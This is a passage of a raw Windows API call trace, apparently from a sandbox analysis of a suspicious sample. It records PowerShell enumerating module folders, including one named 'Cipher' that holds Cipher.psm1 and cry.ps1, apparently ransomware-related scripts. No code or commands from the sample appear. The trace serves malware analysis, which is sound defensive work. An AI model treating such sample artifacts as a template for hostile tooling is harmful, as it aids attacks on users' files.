nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.517] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher.psm1", cAlternateFileName="CIPHER~1.PSM")) returned 1 [0169.517] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 1 [0169.517] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 0 [0169.517] FindClose (in: hFindFile=0x3b4fa8 | out: hFindFile=0x3b4fa8) returned 1 [0169.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0169.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.518] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psd1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psd1")) returned 0xffffffff [0169.518] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1")) returned 0x20 [0169.518] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0169.518] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0169.518] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0169.518] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0169.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e8) returned 1 [0169.519] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x22bdacc | out: lpFileInformation=0x22bdacc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0169.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e4) returned 1 [0169.521] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0169.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0169.522] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0169.522] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0169.523] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4fa8 [0169.523] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.523] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0169.523] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0169.523] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.523] FindClose (in: hFindFile=0x3b4fa8 | out: hFindFile=0x3b4fa8) returned 1 [0169.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0169.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.523] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0169.523] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0169.524] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0169.524] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0169.524] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0169.524] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0169.524] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0169.524] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0169.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.524] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0169.524] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0169.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0169.525] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0169.525] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0169.525] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4fa8 [0169.525] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.526] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0169.526] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.526] FindClose (in: hFindFile=0x3b4fa8 | out: hFindFile=0x3b4fa8) returned 1 [0169.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0169.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.526] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0169.526] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0169.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c4) returned 1 [0169.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e488 | out: lpFileInformation=0x5a2e488*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0169.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.526] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0169.526] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0169.526] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0169.526] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0169.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e8) returned 1 [0169.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22c2db0 | out: lpFileInformation=0x22c2db0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0169.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e4) returned 1 [0169.527] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0169.527] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0169.527] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0169.527] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0169.527] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0169.527] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0169.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0169.528] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0169.528] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0169.528] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4fa8 [0169.528] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.528] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0169.528] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.528] FindClose (in: hFindFile=0x3b4fa8 | out: hFindFile=0x3b4fa8) returned 1 [0169.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0169.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.528] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0169.529] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0169.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c4) returned 1 [0169.529] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e488 | out: lpFileInformation=0x5a2e488*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0169.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e8) returned 1 [0169.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e4) returned 1 [0169.534] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0169.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0169.535] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.535] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, 